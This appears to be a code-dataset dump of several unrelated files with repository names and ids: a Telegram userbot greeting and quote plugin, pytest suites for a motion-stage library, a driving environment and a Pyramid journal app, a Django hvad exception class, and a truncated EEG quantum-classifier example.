to be with you in one of these afternoons just to tell you how much I love you. Good afternoon my love!`", "`My heart craves for your company all the time. A beautiful afternoon like this can be made more enjoyable if you just decide to spend it with me. Good afternoon!`", ] CHASE_STR = [ "Where do you think you're going?", "Huh? what? did they get away?", "ZZzzZZzz... Huh? what? oh, just them again, nevermind.", "`Get back here!`", "`Not so fast...`", "Look out for the wall!", "Don't leave me alone with them!!", "You run, you die.", "`Jokes on you, I'm everywhere`", "You're gonna regret that...", "You could also try /kickme, I hear that's fun.", "`Go bother someone else, no-one here cares.`", "You can run, but you can't hide.", "Is that all you've got?", "I'm behind you...", "You've got company!", "We can do this the easy way, or the hard way.", "You just don't get it, do you?", "Yeah, you better run!", "Please, remind me how much I care?", "I'd run faster if I were you.", "That's definitely the droid we're looking for.", "May the odds be ever in your favour.", "Famous last words.", "And they disappeared forever, never to be seen again.", '"Oh, look at me! I\'m so cool, I can run from a bot!" - this person', "Yeah yeah, just tap /kickme already.", "Here, take this ring and head to Mordor while you're at it.", "eviral has it, they're still running...", "Unlike Harry Potter, your parents can't protect you from me.", "Fear leads to anger. Anger leads to hate. Hate leads to suffering. If you keep running in fear, you might " "be the next Vader.", "Multiple calculations later, I have decided my interest in your shenanigans is exactly 0.", "eviral has it, they're still running.", "Keep it up, not sure we want you here anyway.", "You're a wiza- Oh. Wait. You're not Harry, keep moving.", "NO RUNNING IN THE HALLWAYS!", "Hasta la vista, baby.", "Who let the dogs out?", "It's funny, because no one cares.", "Ah, what a waste. I liked that one.", "Frankly, my dear, I don't give a damn.", "My milkshake brings all the boys to yard... So run faster!", "You can't HANDLE the truth!", "A long time ago, in a galaxy far far away... Someone would've cared about that. Not anymore though.", "Hey, look at them! They're running from the inevitable banhammer... Cute.", "Han shot first. So will I.", "What are you running after, a white rabbit?", "As The Doctor would say... RUN!", ] eviralOSTR = [ "Hi !", "‘Ello, gov'nor!", "What’s crackin’?", "Howdy, howdy ,howdy!", "hello, who's there, I'm talking.", "You know who this is.", "Yo!", "Whaddup.", "Greetings and salutations!", "hello, sunshine!", "`Hey, howdy, hi!`", "What’s kickin’, little chicken?", "Peek-a-boo!", "Howdy-doody!", "`Hey there, freshman!`", "`I come in peace!`", "`I come for peace!`", "Ahoy, matey!", "`Hi !`", ] CONGRATULATION = [ "`Congratulations and BRAVO!`", "`You did it! So proud of you!`", "`This calls for celebrating! Congratulations!`", "`I knew it was only a matter of time. Well done!`", "`Congratulations on your well-deserved success.`", "`Heartfelt congratulations to you.`", "`Warmest congratulations on your achievement.`", "`Congratulations and best wishes for your next adventure!”`", "`So pleased to see you accomplishing great things.`", "`Feeling so much joy for you today. What an impressive achievement!`", ] BYESTR = [ "`Nice talking with you`", "`I've gotta go!`", "`I've gotta run!`", "`I've gotta split`", "`I'm off!`", "`Great to see you,bye`", "`See you soon`", "`Farewell!`", ] GDNIGHT = [ "`Good night keep your dreams alive`", "`Night, night, to a dear friend! May you sleep well!`", "`May the night fill with stars for you. May counting every one, give you contentment!`", "`Wishing you comfort, happiness, and a good night’s sleep!`", "`Now relax. The day is over. You did your best. And tomorrow you’ll do better. Good Night!`", "`Good night to a friend who is the best! Get your forty winks!`", "`May your pillow be soft, and your rest be long! Good night, friend!`", "`Let there be no troubles, dear friend! Have a Good Night!`", "`Rest soundly tonight, friend!`", "`Have the best night’s sleep, friend! Sleep well!`", "`Have a very, good night, friend! You are wonderful!`", "`Relaxation is in order for you! Good night, friend!`", "`Good night. May you have sweet dreams tonight.`", "`Sleep well, dear friend and have sweet dreams.`", "`As we wait for a brand new day, good night and have beautiful dreams.`", "`Dear friend, I wish you a night of peace and bliss. Good night.`", "`Darkness cannot last forever. Keep the hope alive. Good night.`", "`By hook or crook you shall have sweet dreams tonight. Have a good night, buddy!`", "`Good night, my friend. I pray that the good Lord watches over you as you sleep. Sweet dreams.`", "`Good night, friend! May you be filled with tranquility!`", "`Wishing you a calm night, friend! I hope it is good!`", "`Wishing you a night where you can recharge for tomorrow!`", "`Slumber tonight, good friend, and feel well rested, tomorrow!`", "`Wishing my good friend relief from a hard day’s work! Good Night!`", "`Good night, friend! May you have silence for sleep!`", "`Sleep tonight, friend and be well! Know that you have done your very best today, and that you will do your very best, tomorrow!`", "`Friend, you do not hesitate to get things done! Take tonight to relax and do more, tomorrow!`", "`Friend, I want to remind you that your strong mind has brought you peace, before. May it do that again, tonight! May you hold acknowledgment of this with you!`", "`Wishing you a calm, night, friend! Hoping everything winds down to your liking and that the following day meets your standards!`", "`May the darkness of the night cloak you in a sleep that is sound and good! Dear friend, may this feeling carry you through the next day!`", "`Friend, may the quietude you experience tonight move you to have many more nights like it! May you find your peace and hold on to it!`", "`May there be no activity for you tonight, friend! May the rest that you have coming to you arrive swiftly! May the activity that you do tomorrow match your pace and be all of your own making!`", "`When the day is done, friend, may you know that you have done well! When you sleep tonight, friend, may you view all the you hope for, tomorrow!`", "`When everything is brought to a standstill, friend, I hope that your thoughts are good, as you drift to sleep! May those thoughts remain with you, during all of your days!`", "`Every day, you encourage me to do new things, friend! May tonight’s rest bring a new day that overflows with courage and exciting events!`", ] GDMORNING = [ "`Life is full of uncertainties. But there will always be a sunrise after every sunset. Good morning!`", "`It doesn’t matter how bad was your yesterday. Today, you are going to make it a good one. Wishing you a good morning!`", "`If you want to gain health and beauty, you should wake up early. Good morning!`", "`May this morning offer you new hope for life! May you be happy and enjoy every moment of it. Good morning!`", "`May the sun shower you with blessings and prosperity in the days ahead. Good morning!`", "`Every sunrise marks the rise of life over death, hope over despair and happiness over suffering. Wishing you a very enjoyable morning today!`", "`Wake up and make yourself a part of this beautiful morning. A beautiful world is waiting outside your door. Have an enjoyable time!`", "`Welcome this beautiful morning with a smile on your face. I hope you’ll have a great day today. Wishing you a very good morning!`", "`You have been blessed with yet another day. What a wonderful way of welcoming the blessing with such a beautiful morning! Good morning to you!`", "`Waking up in such a beautiful morning is a guaranty for a day that’s beyond amazing. I hope you’ll make the best of it. Good morning!`", "`Nothing is more refreshing than a beautiful morning that calms your mind and gives you reasons to smile. Good morning! Wishing you a great day.`", "`Another day has just started. Welcome the blessings of this beautiful morning. Rise and shine like you always do. Wishing you a wonderful morning!`", "`Wake up like the sun every morning and light up the world your awesomeness. You have so many great things to achieve today. Good morning!`", "`A new day has come with so many new opportunities for you. Grab them all and make the best out of your day. Here’s me wishing you a good morning!`", "`The darkness of night has ended. A new sun is up there to guide you towards a life so bright and blissful. Good morning dear!`", "`Wake up, have your cup of morning tea and let the morning wind freshen you up like a happiness pill. Wishing you a good morning and a good day ahead!`", "`Sunrises are the best; enjoy a cup of coffee or tea with yourself because this day is yours, good morning! Have a wonderful day ahead.`", "`A bad day will always have a good morning, hope all your worries are gone and everything you wish could find a place. Good morning!`", "`A great end may not be decided but a good creative beginning can be planned and achieved. Good morning, have a productive day!`", "`Having a sweet morning, a cup of coffee, a day with your loved ones is what sets your “Good Morning” have a nice day!`", "`Anything can go wrong in the day but the morning has to be beautiful, so I am making sure your morning starts beautiful. Good morning!`", "`Open your eyes with a smile, pray and thank god that you are waking up to a new beginning. Good morning!`", "`Morning is not only sunrise but A Beautiful Miracle of God that defeats the darkness and spread light. Good Morning.`", "`Life never gives you a second chance. So, enjoy every bit of it. Why not start with this beautiful morning. Good Morning!`", "`If you want to gain health and beauty, you should wake up early. Good Morning!`", "`Birds are singing sweet melodies and a gentle breeze is blowing through the trees, what a perfect morning to wake you up. Good morning!`", "`This morning is so relaxing and beautiful that I really don’t want you to miss it in any way. So, wake up dear friend. A hearty good morning to you!`", "`Mornings come with a blank canvas. Paint it as you like and call it a day. Wake up now and start creating your perfect day. Good morning!`", "`Every morning brings you new hopes and new opportunities. Don’t miss any one of them while you’re sleeping. Good morning!`", "`Start your day with solid determination and great attitude. You’re going to have a good day today. Good morning my friend!`", "`Friendship is what makes life worth living. I want to thank you for being such a special friend of mine. Good morning to you!`", "`A friend like you is pretty hard to come by in life. I must consider myself lucky enough to have you. Good morning. Wish you an amazing day ahead!`", "`The more you count yourself as blessed, the more blessed you will be. Thank God for this beautiful morning and let friendship and love prevail this morning.`", "`Wake up and sip a cup of loving friendship. Eat your heart out from a plate of hope. To top it up, a fork full of kindness and love. Enough for a happy good morning!`", "`It is easy to imagine the world coming to an end. But it is difficult to imagine spending a day without my friends. Good morning.`", ] @bot.on(admin_cmd(pattern=f"love$", outgoing=True)) @bot.on(sudo_cmd(pattern='love$', allow_sudo=True)) async def love(e): txt = random.choice(LOVESTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"dhoka$", outgoing=True)) @bot.on(sudo_cmd(pattern='dhoka$', allow_sudo=True)) async def katgya(e): txt = random.choice(DHOKA) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"metoo$", outgoing=True)) @bot.on(sudo_cmd(pattern='metoo$', allow_sudo=True)) async def metoo(e): txt = random.choice(METOOSTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdnoon$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdnoon$', allow_sudo=True)) async def noon(e): txt = random.choice(GDNOON) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"chase$", outgoing=True)) @bot.on(sudo_cmd(pattern='chase$', allow_sudo=True)) async def police(e): txt = random.choice(CHASE_STR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"congo$", outgoing=True)) @bot.on(sudo_cmd(pattern='congo$', allow_sudo=True)) async def Sahih(e): txt = random.choice(CONGRATULATION) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"qhi$", outgoing=True)) @bot.on(sudo_cmd(pattern='qhi$', allow_sudo=True)) async def hoi(e): txt = random.choice(eviralOSTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdbye$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdbye$', allow_sudo=True)) async def bhago(e): txt = random.choice(BYESTR) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdnyt$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdnyt$', allow_sudo=True)) async def night(e): txt = random.choice(GDNIGHT) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern=f"gdmng$", outgoing=True)) @bot.on(sudo_cmd(pattern='gdmng$', allow_sudo=True)) async def morning(e): txt = random.choice(GDMORNING) await edit_or_reply(e, txt) @bot.on(admin_cmd(pattern="quote ?(.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="quote ?(.*)", allow_sudo=True)) async def quote_search(event): if event.fwd_from: return catevent = await edit_or_reply(event, "`Processing...`") input_str = event.pattern_match.group(1) if not input_str: api_url = "https://quotes.cwprojects.live/random" try: response = requests.get(api_url).json() except: response = None else: api_url = f"https://quotes.cwprojects.live/search/query={input_str}" try: response = random.choice(requests.get(api_url).json()) except: response = None if response is not None: await catevent.edit(f"`{response['text']}`") else: await edit_or_reply(catevent, "`Sorry Zero results found`", 5) CmdHelp("quotes").add_command( "quote", None, "Sends a random mind-blowing quote" ).add_command("gdmng", None, "Sends a random Good Morning Quote").add_command( "gdnyt", None, "Sends a random Good Night Quote" ).add_command( "gdbye", None, "Sends a random Good Byee Quote" ).add_command( "qhi", None, "Sends a random hello msg" ).add_command( "congo", None, "Sends a random congratulations quote" ).add_command( "chase", None, "Sends a random Chase quote" ).add_command( "gdnoon", None, "Sends a random Good Afternoon quote" ).add_command( "metoo", None, 'Sends a text saying "Mee too"' ).add_command( "dhoka", None, "Sends a random Dhoka quote(katt gya bc)" ).add_command( "love", None, "Sends a random love quote🥰. (A stage before .dhoka)" ).add()

none

celestial/client/system/__init__.py

ams-tech/celestial

13531

from . import cmdline

from . import cmdline

none

tests/test_joints.py

slaclab/pystand

13532

############ # Standard # ############ import math ############### # Third Party # ############### import ophyd import pytest ########## # Module # ########## from detrot import ConeJoint, AngledJoint, StandPoint, Point from conftest import PseudoMotor @pytest.fixture(scope='function') def pseudo_cone(): angled = ConeJoint(slide = PseudoMotor(5), lift = PseudoMotor(10), offset = Point(1,2,3)) return angled @pytest.fixture(scope='function') def pseudo_angle(): angled = AngledJoint(slide = PseudoMotor(5), lift = PseudoMotor(10), offset = Point(1,2,3)) return angled def test_cone_joint(pseudo_cone): #Test Vertical pseudo_cone.alpha = math.pi/2. assert pytest.approx(pseudo_cone.joint.x) == 5 assert pytest.approx(pseudo_cone.joint.y) == 10 #Test Horizontal pseudo_cone.alpha= 0 assert pseudo_cone.joint.x == 15 assert pseudo_cone.joint.y == 0 def test_cone_invert(pseudo_cone): #Test 45 pseudo_cone.alpha = math.pi/4. assert pseudo_cone.invert((13.07,9.07))[0] == pytest.approx(5,0.1) assert pseudo_cone.invert((13.07,9.07))[1] == pytest.approx(10,0.1) def test_angle_joint(pseudo_angle): #Test Vertical pseudo_angle.alpha = math.pi/2. assert pytest.approx(pseudo_angle.joint.x) == 5 assert pytest.approx(pseudo_angle.joint.y) == 10 assert pytest.approx(pseudo_angle.joint.z) == 0 #Test Horizontal pseudo_angle.alpha = 0 assert pytest.approx(pseudo_angle.joint.x) == 5 assert pytest.approx(pseudo_angle.joint.y) == 0 assert pytest.approx(pseudo_angle.joint.z) == 10 #Test no-slide pseudo_angle.slide = None assert pytest.approx(pseudo_angle.joint.x) == 0 assert pytest.approx(pseudo_angle.joint.y) == 0 assert pytest.approx(pseudo_angle.joint.z) == 10 def test_angle_invert(pseudo_angle): #Test Vertical pseudo_angle.alpha = math.pi/2. assert pseudo_angle.invert((6,12))[0] == pytest.approx(5,0.1) assert pseudo_angle.invert((6,12))[1] == pytest.approx(10,0.1) #Test no-slide pseudo_angle.slide = None assert pseudo_angle.invert((6,12)) == pytest.approx(10,0.1) def test_position(pseudo_cone): pseudo_cone.alpha= 0 assert pseudo_cone.position == (16, 2, 3) pseudo_cone.alpha = math.pi/2. assert pseudo_cone.position.x == pytest.approx(6,0.1) assert pseudo_cone.position.y == 12 assert pseudo_cone.position.z == 3 def test_displacement(pseudo_angle): assert pseudo_angle.displacement == (5,10) pseudo_angle.slide = None assert pseudo_angle.displacement == 10 def test_set_joint(pseudo_angle): #Vertical pseudo_angle.alpha = math.pi/2. pseudo_angle.set_joint((6,12)) assert pseudo_angle.displacement[0] == pytest.approx(5,0.1) assert pseudo_angle.displacement[1] == pytest.approx(10,0.1) #Test no-slide pseudo_angle.slide = None pseudo_angle.set_joint((6,12)) assert pseudo_angle.displacement == pytest.approx(10,0.1) def test_model(pseudo_angle, pseudo_cone): model = AngledJoint.model(pseudo_angle) assert isinstance(model.slide, ophyd.SoftPositioner) assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_angle.displacement #Test no slide pseudo_angle.slide = None model = AngledJoint.model(pseudo_angle) assert model.slide == None assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_angle.displacement #Test cone model = ConeJoint.model(pseudo_cone) assert isinstance(model.slide, ophyd.SoftPositioner) assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_cone.displacement def test_stop(pseudo_cone): pseudo_cone.stop() pseudo_cone.slide.stop_call.method.assert_called_with() pseudo_cone.lift.stop_call.method.assert_called_with() def test_cmp(): p1 = PseudoMotor(5) p2 = PseudoMotor(10) assert AngledJoint(p1,p2) == AngledJoint(p1, p2)

############ # Standard # ############ import math ############### # Third Party # ############### import ophyd import pytest ########## # Module # ########## from detrot import ConeJoint, AngledJoint, StandPoint, Point from conftest import PseudoMotor @pytest.fixture(scope='function') def pseudo_cone(): angled = ConeJoint(slide = PseudoMotor(5), lift = PseudoMotor(10), offset = Point(1,2,3)) return angled @pytest.fixture(scope='function') def pseudo_angle(): angled = AngledJoint(slide = PseudoMotor(5), lift = PseudoMotor(10), offset = Point(1,2,3)) return angled def test_cone_joint(pseudo_cone): #Test Vertical pseudo_cone.alpha = math.pi/2. assert pytest.approx(pseudo_cone.joint.x) == 5 assert pytest.approx(pseudo_cone.joint.y) == 10 #Test Horizontal pseudo_cone.alpha= 0 assert pseudo_cone.joint.x == 15 assert pseudo_cone.joint.y == 0 def test_cone_invert(pseudo_cone): #Test 45 pseudo_cone.alpha = math.pi/4. assert pseudo_cone.invert((13.07,9.07))[0] == pytest.approx(5,0.1) assert pseudo_cone.invert((13.07,9.07))[1] == pytest.approx(10,0.1) def test_angle_joint(pseudo_angle): #Test Vertical pseudo_angle.alpha = math.pi/2. assert pytest.approx(pseudo_angle.joint.x) == 5 assert pytest.approx(pseudo_angle.joint.y) == 10 assert pytest.approx(pseudo_angle.joint.z) == 0 #Test Horizontal pseudo_angle.alpha = 0 assert pytest.approx(pseudo_angle.joint.x) == 5 assert pytest.approx(pseudo_angle.joint.y) == 0 assert pytest.approx(pseudo_angle.joint.z) == 10 #Test no-slide pseudo_angle.slide = None assert pytest.approx(pseudo_angle.joint.x) == 0 assert pytest.approx(pseudo_angle.joint.y) == 0 assert pytest.approx(pseudo_angle.joint.z) == 10 def test_angle_invert(pseudo_angle): #Test Vertical pseudo_angle.alpha = math.pi/2. assert pseudo_angle.invert((6,12))[0] == pytest.approx(5,0.1) assert pseudo_angle.invert((6,12))[1] == pytest.approx(10,0.1) #Test no-slide pseudo_angle.slide = None assert pseudo_angle.invert((6,12)) == pytest.approx(10,0.1) def test_position(pseudo_cone): pseudo_cone.alpha= 0 assert pseudo_cone.position == (16, 2, 3) pseudo_cone.alpha = math.pi/2. assert pseudo_cone.position.x == pytest.approx(6,0.1) assert pseudo_cone.position.y == 12 assert pseudo_cone.position.z == 3 def test_displacement(pseudo_angle): assert pseudo_angle.displacement == (5,10) pseudo_angle.slide = None assert pseudo_angle.displacement == 10 def test_set_joint(pseudo_angle): #Vertical pseudo_angle.alpha = math.pi/2. pseudo_angle.set_joint((6,12)) assert pseudo_angle.displacement[0] == pytest.approx(5,0.1) assert pseudo_angle.displacement[1] == pytest.approx(10,0.1) #Test no-slide pseudo_angle.slide = None pseudo_angle.set_joint((6,12)) assert pseudo_angle.displacement == pytest.approx(10,0.1) def test_model(pseudo_angle, pseudo_cone): model = AngledJoint.model(pseudo_angle) assert isinstance(model.slide, ophyd.SoftPositioner) assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_angle.displacement #Test no slide pseudo_angle.slide = None model = AngledJoint.model(pseudo_angle) assert model.slide == None assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_angle.displacement #Test cone model = ConeJoint.model(pseudo_cone) assert isinstance(model.slide, ophyd.SoftPositioner) assert isinstance(model.lift, ophyd.SoftPositioner) assert model.displacement == pseudo_cone.displacement def test_stop(pseudo_cone): pseudo_cone.stop() pseudo_cone.slide.stop_call.method.assert_called_with() pseudo_cone.lift.stop_call.method.assert_called_with() def test_cmp(): p1 = PseudoMotor(5) p2 = PseudoMotor(10) assert AngledJoint(p1,p2) == AngledJoint(p1, p2)

it

tests/test_utils.py

munirjojoverge/rl_AD_urban_baselines

13533

import numpy as np from urban_AD_env.utils import rotated_rectangles_intersect def test_rotated_rectangles_intersect(): assert rotated_rectangles_intersect(([12.86076812, 28.60182391], 5.0, 2.0, -0.4675779906495494), ([9.67753944, 28.90585412], 5.0, 2.0, -0.3417019364473201)) assert rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([0, 1], 2, 1, 0)) assert not rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([0, 2.1], 2, 1, 0)) assert not rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([1, 1.1], 2, 1, 0)) assert rotated_rectangles_intersect(([0, 0], 2, 1, np.pi/4), ([1, 1.1], 2, 1, 0))

import numpy as np from urban_AD_env.utils import rotated_rectangles_intersect def test_rotated_rectangles_intersect(): assert rotated_rectangles_intersect(([12.86076812, 28.60182391], 5.0, 2.0, -0.4675779906495494), ([9.67753944, 28.90585412], 5.0, 2.0, -0.3417019364473201)) assert rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([0, 1], 2, 1, 0)) assert not rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([0, 2.1], 2, 1, 0)) assert not rotated_rectangles_intersect(([0, 0], 2, 1, 0), ([1, 1.1], 2, 1, 0)) assert rotated_rectangles_intersect(([0, 0], 2, 1, np.pi/4), ([1, 1.1], 2, 1, 0))

none

learning_journal/tests.py

hcodydibble/pyramid-learning-journal

13534

"""Functions that test server functions.""" import pytest from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound from datetime import datetime from learning_journal.models import Entry def test_list_view_returns_list_of_entries_in_dict(dummy_request): """Test for the list_view function.""" from learning_journal.views.default import list_view response = list_view(dummy_request) assert 'journals' in response assert isinstance(response['journals'], list) def test_adding_to_dummy_db_works(dummy_request): """Test that adding to dummy db works.""" assert len(dummy_request.dbsession.query(Entry).all()) == 0 test_entry = Entry( title="Fake Title", creation_date=datetime.now(), body="The body lul" ) dummy_request.dbsession.add(test_entry) assert len(dummy_request.dbsession.query(Entry).all()) == 1 def test_list_view_returns_a_dict(dummy_request): """Function to test if list_view returns a dict.""" from learning_journal.views.default import list_view response = list_view(dummy_request) assert isinstance(response, dict) def test_list_view_returns_proper_amount_of_content(dummy_request): """Home view response has content.""" from learning_journal.views.default import list_view response = list_view(dummy_request) query = dummy_request.dbsession.query(Entry).all() assert len(response["journals"]) == len(query) def test_about_view_returns_a_dict(dummy_request): """Test that about view returns dict.""" from learning_journal.views.default import about_view response = about_view(dummy_request) assert isinstance(response, dict) def test_create_view_returns_a_dict(dummy_request): """Test that create view returns dict.""" from learning_journal.views.default import create_view response = create_view(dummy_request) assert isinstance(response, dict) def test_detail_view_returns_post_detail(dummy_request): """Test that detail view returns post details.""" from learning_journal.views.default import detail_view test_entry = Entry( title="Fake Title", creation_date=datetime.now(), body="The body lul" ) dummy_request.dbsession.add(test_entry) dummy_request.matchdict['id'] = 1 response = detail_view(dummy_request) assert response['post'].title == "Fake Title" def test_create_view_get_empty_is_empty_dict(dummy_request): """Test that GET request on create view returns empty dict.""" from learning_journal.views.default import create_view dummy_request.method = "GET" response = create_view(dummy_request) assert response == {} def test_create_view_post_works(dummy_request): """Test that create view post creates new entry.""" from learning_journal.views.default import create_view dummy_request.method = "POST" test_post = {"title": "Test", "body": "This is a body."} dummy_request.POST = test_post response = create_view(dummy_request) assert response.status_code == 302 def test_create_view_raises_bad_request(dummy_request): """Test that an incomplete post request returns HTTPBadRequest.""" from learning_journal.views.default import create_view dummy_request.method = "POST" test_post = {"title": "Test"} dummy_request.POST = test_post with pytest.raises(HTTPBadRequest): create_view(dummy_request) def test_new_entry_redirects_to_home_page(testapp, empty_db): """Test that after adding a new entry you get redirected to home page.""" test_entry = { "title": "Fake Title", "body": "The body lul" } response = testapp.post("/journal/new-entry", test_entry) assert response.location == "http://localhost/"

"""Functions that test server functions.""" import pytest from pyramid.httpexceptions import HTTPBadRequest, HTTPNotFound from datetime import datetime from learning_journal.models import Entry def test_list_view_returns_list_of_entries_in_dict(dummy_request): """Test for the list_view function.""" from learning_journal.views.default import list_view response = list_view(dummy_request) assert 'journals' in response assert isinstance(response['journals'], list) def test_adding_to_dummy_db_works(dummy_request): """Test that adding to dummy db works.""" assert len(dummy_request.dbsession.query(Entry).all()) == 0 test_entry = Entry( title="Fake Title", creation_date=datetime.now(), body="The body lul" ) dummy_request.dbsession.add(test_entry) assert len(dummy_request.dbsession.query(Entry).all()) == 1 def test_list_view_returns_a_dict(dummy_request): """Function to test if list_view returns a dict.""" from learning_journal.views.default import list_view response = list_view(dummy_request) assert isinstance(response, dict) def test_list_view_returns_proper_amount_of_content(dummy_request): """Home view response has content.""" from learning_journal.views.default import list_view response = list_view(dummy_request) query = dummy_request.dbsession.query(Entry).all() assert len(response["journals"]) == len(query) def test_about_view_returns_a_dict(dummy_request): """Test that about view returns dict.""" from learning_journal.views.default import about_view response = about_view(dummy_request) assert isinstance(response, dict) def test_create_view_returns_a_dict(dummy_request): """Test that create view returns dict.""" from learning_journal.views.default import create_view response = create_view(dummy_request) assert isinstance(response, dict) def test_detail_view_returns_post_detail(dummy_request): """Test that detail view returns post details.""" from learning_journal.views.default import detail_view test_entry = Entry( title="Fake Title", creation_date=datetime.now(), body="The body lul" ) dummy_request.dbsession.add(test_entry) dummy_request.matchdict['id'] = 1 response = detail_view(dummy_request) assert response['post'].title == "Fake Title" def test_create_view_get_empty_is_empty_dict(dummy_request): """Test that GET request on create view returns empty dict.""" from learning_journal.views.default import create_view dummy_request.method = "GET" response = create_view(dummy_request) assert response == {} def test_create_view_post_works(dummy_request): """Test that create view post creates new entry.""" from learning_journal.views.default import create_view dummy_request.method = "POST" test_post = {"title": "Test", "body": "This is a body."} dummy_request.POST = test_post response = create_view(dummy_request) assert response.status_code == 302 def test_create_view_raises_bad_request(dummy_request): """Test that an incomplete post request returns HTTPBadRequest.""" from learning_journal.views.default import create_view dummy_request.method = "POST" test_post = {"title": "Test"} dummy_request.POST = test_post with pytest.raises(HTTPBadRequest): create_view(dummy_request) def test_new_entry_redirects_to_home_page(testapp, empty_db): """Test that after adding a new entry you get redirected to home page.""" test_entry = { "title": "Fake Title", "body": "The body lul" } response = testapp.post("/journal/new-entry", test_entry) assert response.location == "http://localhost/"

pt

hvad/exceptions.py

Kunpors/dr.pors-

13535

<filename>hvad/exceptions.py """ Hvad-specific exceptions Part of hvad public API. """ __all__ = ('WrongManager', ) class WrongManager(Exception): """ Raised when attempting to introspect translated fields from shared models without going through hvad. The most likely cause for this being accessing translated fields from translation-unaware QuerySets. """ def __init__(self, meta, name): self.meta = meta self.name = name def __str__(self): return ( "Accessing translated fields like {model_name}.{field_name} from " "an regular model requires a translation-aware queryset, " "obtained with the .language() method. " "For regular, non-translatable models, you can get one using " "hvad.utils.get_translation_aware_manager" ).format( app_label=self.meta.app_label, model_name=self.meta.model_name, field_name=self.name, )

<filename>hvad/exceptions.py """ Hvad-specific exceptions Part of hvad public API. """ __all__ = ('WrongManager', ) class WrongManager(Exception): """ Raised when attempting to introspect translated fields from shared models without going through hvad. The most likely cause for this being accessing translated fields from translation-unaware QuerySets. """ def __init__(self, meta, name): self.meta = meta self.name = name def __str__(self): return ( "Accessing translated fields like {model_name}.{field_name} from " "an regular model requires a translation-aware queryset, " "obtained with the .language() method. " "For regular, non-translatable models, you can get one using " "hvad.utils.get_translation_aware_manager" ).format( app_label=self.meta.app_label, model_name=self.meta.model_name, field_name=self.name, )

pt

examples/ERP/classify_P300_bi.py

gcattan/pyRiemann-qiskit

13536

<reponame>gcattan/pyRiemann-qiskit """ ==================================================================== Classification of P300 datasets from MOABB ==================================================================== It demonstrates the QuantumClassifierWithDefaultRiemannianPipeline(). This pipeline uses Riemannian Geometry, Tangent Space and a quantum SVM classifier. MOABB is used to access many EEG datasets and also for the evaluation and comparison with other classifiers. In QuantumClassifierWithDefaultRiemannianPipeline(): If parameter "shots" is None then a classical SVM is used similar to the one in scikit learn. If "shots" is not None and IBM Qunatum token is provided with "q_account_token" then a real Quantum computer will be used. You also need to adjust the "n_components" in the PCA procedure to the number of qubits supported by the real quantum computer you are going to use. A list of real quantum computers is available in your IBM quantum account. """ # Author: <NAME> # Modified from plot_classify_EEG_tangentspace.py of pyRiemann # License: BSD (3-clause) from pyriemann.estimation import XdawnCovariances from pyriemann.tangentspace import TangentSpace from sklearn.pipeline import make_pipeline from matplotlib import pyplot as plt import warnings import seaborn as sns from sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA from moabb import set_log_level from moabb.datasets import bi2012 from moabb.evaluations import WithinSessionEvaluation from moabb.paradigms import P300 from pyriemann_qiskit.classification import \ QuantumClassifierWithDefaultRiemannianPipeline from sklearn.decomposition import PCA print(__doc__) ############################################################################## # getting rid of the warnings about the future warnings.simplefilter(action="ignore", category=FutureWarning) warnings.simplefilter(action="ignore", category=RuntimeWarning) warnings.filterwarnings("ignore") set_log_level("info") ############################################################################## # Create Pipelines # ---------------- # # Pipelines must be a dict of sklearn pipeline transformer. ############################################################################## # We have to do this because the classes are called 'Target' and 'NonTarget' # but the evaluation function uses a LabelEncoder, transforming them # to 0 and 1 labels_dict = {"Target": 1, "NonTarget": 0} paradigm = P300(resample=128) datasets = [bi2012()] # MOABB provides several other P300 datasets # reduce the number of subjects, the Quantum pipeline takes a lot of time # if executed on the entire dataset n_subjects = 5 for dataset in datasets: dataset.subject_list = dataset.subject_list[0:n_subjects] overwrite = True # set to True if we want to overwrite cached results pipelines = {} # A Riemannian Quantum pipeline provided by pyRiemann-qiskit # You can choose between classical SVM and Quantum SVM. pipelines["RG+QuantumSVM"] = QuantumClassifierWithDefaultRiemannianPipeline( shots=None, # 'None' forces classic SVM nfilter=2, # default 2 # default n_components=10, a higher value renders better performance with # the non-qunatum SVM version used in qiskit # On a real Quantum computer (n_components = qubits) dim_red=PCA(n_components=5), # params={'q_account_token': '<IBM Quantum TOKEN>'} ) # Here we provide a pipeline for comparison: # This is a standard pipeline similar to # QuantumClassifierWithDefaultRiemannianPipeline, but with LDA classifier # instead. pipelines["RG+LDA"] = make_pipeline( # applies XDawn and calculates the covariance matrix, output it matrices XdawnCovariances( nfilter=2, classes=[labels_dict["Target"]], estimator="lwf", xdawn_estimator="scm" ), TangentSpace(), PCA(n_components=10), LDA(solver="lsqr", shrinkage="auto"), # you can use other classifiers ) print("Total pipelines to evaluate: ", len(pipelines)) evaluation = WithinSessionEvaluation( paradigm=paradigm, datasets=datasets, suffix="examples", overwrite=overwrite ) results = evaluation.process(pipelines) print("Averaging the session performance:") print(results.groupby('pipeline').mean('score')[['score', 'time']]) ############################################################################## # Plot Results # ---------------- # # Here we plot the results to compare the two pipelines fig, ax = plt.subplots(facecolor="white", figsize=[8, 4]) sns.stripplot( data=results, y="score", x="pipeline", ax=ax, jitter=True, alpha=0.5, zorder=1, palette="Set1", ) sns.pointplot(data=results, y="score", x="pipeline", 